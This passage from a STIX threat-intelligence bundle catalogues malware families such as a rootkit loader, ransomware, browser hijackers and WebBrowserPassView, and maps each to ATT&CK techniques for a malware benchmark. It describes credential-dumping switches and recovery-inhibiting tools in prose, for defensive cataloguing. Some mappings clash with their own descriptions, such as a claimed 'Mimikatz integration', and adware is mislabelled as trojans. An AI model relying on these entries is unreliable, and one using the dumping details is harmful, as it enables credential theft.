      "id": "relationship--e220e0c3-ba77-5fe6-89f7-9a7c2853a5bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b75ae32a-f8d5-54b1-bd4f-5f1cd46a8a92",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wavipeg exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5c0b1a6-f738-5078-b720-20e73cc33ddb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b75ae32a-f8d5-54b1-bd4f-5f1cd46a8a92",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wavipeg exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wdfload",
      "description": "Wdfload (cataloged across security software as Trojan:Win32/Wdfload, Rootkit:Win32/Wdfload, and Trojan.Wdfload) is an advanced Windows rootkit and kernel-mode staging loader that abuses legitimate Windows Driver Framework (WDF) components to achieve stealthy kernel execution. By dropping and registering rogue kernel-mode drivers under %SYSTEMROOT%\\System32\\drivers\\, Wdfload hooks storage and filesystem callbacks to conceal malicious user-mode processes, prevent file deletion, and inject backdoors directly into system host processes while evading user-mode antimalware detection. Once embedded, Wdfload functions as a persistent covert conduit for secondary cyber espionage and data destruction payloads. (Observed samples in benchmark: 358)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Wdfload",
        "Rootkit:Win32/Wdfload",
        "Trojan.Wdfload",
        "Win32/Wdfload.Rootkit",
        "Kernel.Wdfload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wdfload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wdfload"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0160f2b8-d4fa-53fb-858c-a59c453288dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdfload exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93e1b9bc-0b45-531f-a85e-d08de02b4f97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdfload exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6512f30-d178-5415-9357-aca4086769c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdfload exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c936af3-30fc-574e-bb98-869d2a5365a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdfload exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--247a4d0e-7282-5891-8fca-3b6545b9463d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d570f0f1-2774-52c1-aa6c-304ac0b30d35",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdfload exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wdjiange",
      "description": "Wdjiange (classified in threat research telemetry under signatures Ransom:Win32/Wdjiange, Trojan-Ransom.Win32.Wdjiange, and Win32/Wdjiange) is an aggressive Windows ransomware family active in opportunistic and targeted extortion campaigns. Delivered via malicious spam attachments, cracked software utilities, and exploit kits, Wdjiange verifies administrative execution privileges before enumerating local disk partitions, external media, and SMB network shares. It encrypts targeted data files\u2014including documents, databases, code repositories, and archives\u2014using AES-256 encryption wrapped with an asymmetric public key. Wdjiange deletes Volume Shadow Copies via vssadmin, modifies boot configurations using bcdedit to prevent recovery, and deposits extortion notes demanding cryptocurrency payment for a decryption tool. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Wdjiange",
        "Trojan-Ransom.Win32.Wdjiange",
        "Win32/Wdjiange",
        "Ransom.Wdjiange",
        "Ransom:Win32/Wdjiange.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wdjiange",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wdjiange"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82c38397-a00e-5381-965b-de295d6f7f9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdjiange exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5492bd79-0806-552a-a5d5-27680ab24568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdjiange exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f045e0d9-d1a9-55fb-a109-89c5a600727d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdjiange exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c2f8840-bb86-5ddf-8752-0569174b4cae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdjiange exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29e0e1b1-8586-5bd0-b6d6-c97953f7ecf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b52492c5-b0dc-57cf-a522-787e19ac53b6",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wdjiange exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7c94430b-5a66-5018-a8e1-c8c6f50a2b81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webalta",
      "description": "Webalta (tracked across cybersecurity vendor signatures as BrowserModifier:Win32/WebAlta, Adware.WebAlta, and Trojan.Win32.WebAlta) is a notorious browser hijacker and search portal modifier that originated in Russia in the early 2010s. Marketed under the guise of an independent web search portal (webalta.ru), Webalta propagated aggressively via trojanized freeware installers, rogue browser toolbars, and software bundlers. Once executing on a target system, Webalta aggressively rewrites registry keys across all installed web browsers (Internet Explorer, Mozilla Firefox, Google Chrome, Opera), altering homepage, new tab, and default search URLs to point to Webalta portals. Additionally, Webalta appends URL target arguments to all desktop and Start Menu browser shortcuts (.lnk), ensuring that clicking any browser icon forcefully loads Webalta's sponsored search engine. (Observed samples in benchmark: 34)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/WebAlta",
        "Adware.WebAlta",
        "Trojan.Win32.WebAlta",
        "Win32/WebAlta",
        "Adware:Win32/WebAlta",
        "BrowserModifier:Win32/WebAlta.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webalta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webalta"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--09244ad1-8534-5287-a0cd-74e500c2401f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webaltatoolbar",
      "description": "Adware:Win32/Webaltatoolbar is a historically notorious Potentially Unwanted Program (PUP) and browser hijacker (`T1176`). Originating in Russia, Webalta aggressively modified the user's browser settings (Internet Explorer, Firefox, and early versions of Chrome) to force them to use the Webalta search engine. The primary goal was to monetize the user's web traffic by injecting advertisements and artificially inflating the search engine's traffic statistics.<br><br><b>Understanding WebaltaToolbar (Browser Hijacker)</b><br>To an end-user, the infection is incredibly frustrating. Their homepage is suddenly changed to a Russian search portal, their default search engine is replaced, and a large, unwanted toolbar appears at the top of their browser. For a SOC analyst, it represents a breakdown in software installation policies and introduces risks regarding data privacy and secondary malware infections.<br><br><b>Execution and Hijacking Mechanics</b><br>Webalta was infamous for its aggressive 'bundling' tactics (`T1189`). It was secretly packaged with free software, torrents, and fake media codecs. Upon installation, it entrenched itself deeply in the system. It modified the Windows Registry (specifically the `Start Page` and `Default_Search_URL` keys) to hijack the browser's home page. It installed a physical toolbar extension (`T1176`) and often created scheduled tasks to reinstall itself if the user attempted to delete it. It also modified the shortcuts (the `.lnk` files) for the browsers on the desktop, appending the Webalta URL to the target path so the site launched regardless of the registry settings.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, loss of privacy, and potential exposure to malicious ads. Host-based IoCs include the presence of `webalta.exe` or the toolbar DLL in `C:\\Program Files`, modified browser shortcut files (`.lnk`) containing the Webalta URL, and altered registry keys associated with browser home pages. Network IoCs include DNS requests to `webalta.ru`. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webaltatoolbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webaltatoolbar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac76048b-760c-50ec-8d3d-14053b7f0108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09244ad1-8534-5287-a0cd-74e500c2401f",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webaltatoolbar exhibits technique T1176 (Browser Extensions (Installing the physical toolbar and hijacking search))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e97abcbe-4e1d-5b4d-86f8-da4ae600cf63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09244ad1-8534-5287-a0cd-74e500c2401f",
      "target_ref": "attack-pattern--6704b53e-b1a0-5c63-9400-ca25ce6dd0eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webaltatoolbar exhibits technique T1546.001 (Event Triggered Execution: Change Default File Association (Modifying .lnk shortcuts to launch the hijacker))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b30a0471-e30d-51c1-b4c4-aa52ed18362a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09244ad1-8534-5287-a0cd-74e500c2401f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webaltatoolbar exhibits technique T1189 (Drive-by Compromise (Bundled with freeware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d146a3a-58c2-5632-a20e-b550de3bc831",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webbrowserpassview",
      "description": "<h3>Executive Summary</h3>\nWebBrowserPassView is a legitimate password recovery utility created by NirSoft. It is designed to extract and display all passwords stored within the local credential databases of major web browsers (Chrome, Firefox, Edge, Opera). However, because of its powerful capability to instantly reveal plaintext credentials without requiring administrative privileges, it is frequently flagged by security software as a \"HackTool\" or \"Riskware.\" Threat actors routinely weaponize this utility, dropping it onto compromised systems to quickly harvest all saved passwords.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWebBrowserPassView is not a virus and does not self-propagate. In a malicious context, it is typically dropped onto a machine by a primary Trojan (like an Emotet or Trickbot loader) or executed manually by an attacker during a post-exploitation, lateral movement phase.\n\nIts technical execution is straightforward and highly effective:\n<ul>\n<li><strong>Direct Database Parsing:</strong> The tool does not rely on keylogging or memory scraping. Instead, it directly locates the specific SQLite databases and encrypted credential files used by each supported browser (e.g., Chrome's `Login Data` file).</li>\n<li><strong>On-the-Fly Decryption:</strong> It utilizes the current logged-in user's context (specifically the Windows Data Protection API - DPAPI) to automatically decrypt the stored passwords instantly, displaying them in plaintext.</li>\n<li><strong>Command Line Automation:</strong> Attackers utilize the tool's built-in command-line arguments (e.g., `/shtml`, `/stext`) to execute it silently in the background, instantly dumping all harvested credentials into a hidden text file for exfiltration, entirely bypassing the graphical interface.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of WebBrowserPassView on a corporate endpoint is a critical security incident. It indicates that an attacker has gained sufficient access to execute arbitrary code and is actively engaged in credential harvesting. The theft of browser-stored passwords often grants the attacker immediate access to corporate web applications, VPN portals, and cloud infrastructure.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Verification:</strong> First, determine if the tool was executed legitimately by an IT administrator assisting a user with password recovery (though this practice is strongly discouraged in enterprise environments).</li>\n<li><strong>Assume Total Credential Compromise:</strong> If the execution was unauthorized, you must assume *all* passwords stored in the user's web browsers have been compromised.</li>\n<li><strong>Mandatory Credential Reset:</strong> Initiate an immediate, mandatory reset of all enterprise passwords associated with that user. Advise the user to reset all personal passwords (banking, social media) that may have been stored in their corporate browser profile.</li>\n<li><strong>Investigate the Source:</strong> Determine how the tool was delivered to the endpoint (e.g., look for an associated dropper trojan or signs of a compromised RDP session).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.WebBrowserPassView",
        "Riskware.PasswordRevealer",
        "Win32/WebBrowserPassView"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webbrowserpassview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webbrowserpassview"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3f95af7-6713-5637-b329-36f280626b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d146a3a-58c2-5632-a20e-b550de3bc831",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webbrowserpassview exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2324883c-5e75-54fb-9e33-04e0d8ee0c6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d146a3a-58c2-5632-a20e-b550de3bc831",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webbrowserpassview exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c413e5e4-0df9-5ad2-a0a1-535d525143de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d146a3a-58c2-5632-a20e-b550de3bc831",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webbrowserpassview exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webcompanion",
      "description": "Adware:Win32/Webcompanion (Lavasoft Web Companion) is a highly controversial application often classified by EDR and Antivirus vendors as a Potentially Unwanted Program (PUA) or Adware. While nominally marketed as a security tool designed to protect users from malicious websites, its aggressive distribution methods, difficulty of removal, and potential to hijack search settings often lead to it being flagged as a threat.<br><br><b>Understanding Webcompanion</b><br>To an end-user, Webcompanion might appear unexpectedly on their system, often featuring a shield icon and claiming to 'secure your browsing'. For a security analyst, Webcompanion operates in a grey area. It is frequently distributed via Pay-Per-Install (PPI) software bundlers alongside freeware. Its primary controversial behavior is its attempt to change the user's default homepage and search engine (often to Bing or Yahoo, generating affiliate revenue for Lavasoft). It also intercepts and inspects web traffic, which can introduce privacy concerns and conflict with legitimate enterprise security proxies.<br><br><b>Execution and Controversial Behavior</b><br>Webcompanion is typically installed silently (`T1189`) when a user rapidly clicks through a deceptive freeware installer (`T1204.002`). Upon execution, it establishes persistence via a Windows Service (`T1543.003`) and Registry Run keys to ensure it launches at boot. It frequently installs a network filter driver or modifies proxy settings (`T1562.001`) to intercept HTTP/HTTPS traffic\u2014purportedly to block malicious sites, but this mechanism is functionally identical to Man-in-the-Middle (MitM) techniques used by malware (`T1185`). Furthermore, it actively attempts to modify browser configuration files to redirect search queries (`T1112`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, unwanted search redirection, and potential interference with enterprise TLS inspection. Incident responders will observe the `LavasoftTcpService.exe` or `WebCompanion.exe` running from `C:\\Program Files (x86)\\Lavasoft\\`. EDR logs may flag the application injecting DLLs into web browsers to monitor traffic or modifying the `ProxyEnable` registry key. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webcompanion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webcompanion"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2df1bca-b18e-5c98-9aba-a9360a2963e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webcompanion exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba97c7fb-5160-5c55-8117-96aa2f290b4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webcompanion exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e564db0-fa1d-5d14-8edf-7dde030dea9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webcompanion exhibits technique T1185 (Browser Session Hijacking (Traffic Interception))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ba077c5-c468-5223-b2e8-e36fecbb07ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webcompanion exhibits technique T1112 (Modify Registry (Search Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eed5dc68-6177-5ca4-866e-5c1f7cf8f8cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1b25132-24c1-59a1-b065-1481776406d0",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webcompanion exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c3f29ea-879b-5036-9ec3-f4d40fb8b307",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webdevaz",
      "description": "Adware/Trojan:Win32/Webdevaz is an intrusive Potentially Unwanted Program (PUP) categorized as a malicious Browser Modifier or Adware. It is designed to forcibly alter a user's web browsing experience across multiple browsers to inject unwanted advertisements, redirect search traffic, and track browsing behavior to generate illicit Pay-Per-Click (PPC) revenue.<br><br><b>Understanding Webdevaz</b><br>To an end-user, Webdevaz manifests as a sudden influx of unremovable toolbars, persistent pop-up ads, and the forced redirection of their default search engine to a low-quality, third-party portal. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (`T1189`).<br><br><b>Execution and Hijacking Mechanics</b><br>Webdevaz is typically distributed via deceptive software bundles (wrappers) or fake software updates. Upon execution, it requests administrative privileges and modifies the Windows Registry (`T1112`) and browser configuration files. It forces the installation of malicious browser extensions (`T1176`) and alters the default homepage. To prevent easy removal, it often establishes a persistence mechanism, such as a scheduled task (`T1053.005`) that actively monitors the browser settings and reinstalls the malicious extensions if the user attempts to delete them.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for anomalous registry modifications targeting `Start Page` or `Search Page` values, unexpected additions to the `Extensions` directory in Chrome/Edge, and the presence of unknown scheduled tasks running browser processes with hidden arguments. Network IoCs include DNS queries resolving to known adware tracking infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webdevaz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webdevaz"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e53f064e-e7b0-5125-854d-688bd252fbba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c3f29ea-879b-5036-9ec3-f4d40fb8b307",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdevaz exhibits technique T1176 (Browser Extensions (Force-installing the malicious extension))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fb9f211-0640-5c5d-997e-9c4673bfbce6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c3f29ea-879b-5036-9ec3-f4d40fb8b307",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdevaz exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05713240-5fc3-57ab-86bb-e12a522a78ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c3f29ea-879b-5036-9ec3-f4d40fb8b307",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdevaz exhibits technique T1189 (Drive-by Compromise (Initial distribution via fake installers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webdial",
